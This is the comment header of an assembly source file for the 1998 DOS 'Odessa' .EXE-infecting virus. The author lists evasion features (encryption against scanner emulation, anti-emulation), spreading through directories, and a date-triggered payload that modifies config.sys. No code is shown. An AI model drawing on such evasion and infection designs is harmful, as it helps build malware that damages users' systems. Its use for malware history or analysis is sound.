;************************************************************************** ; ODESSA VIRUS ; (C) Opic [CodeBreakers '98] ;************************************************************************** ;-.EXE infector ; ;Virus size: 2280 bytes ; ;-unique long encryption loop (which seems to help fight some scanners ;emulation techniques). ; ;-directory transversal via dotdot ; ;-is Windows compatable (ie: will not infect: Windows NE, PE, LE files ect.) ; ;-some anti-emulation ; ;-payload criteria: the virus will activate its payload on ; either the 13th or the 31st of any given month provided the seconds ; are below 30. ; ;-payload: when activated the virus will beep 5 times before the ; infected file is run. It will also create two new subdirectories ; on the main drive: One named: "Odessa!", the other: "Opic". ; It will also add the viruses and authors name to the ; config.sys file (just for fun and to make it perfectly clear what the ; virus and authors names are: if you dont spell it out for the AV ; theyll go and name your virus something lame ;) ; ;----------------------------------------------------------------------------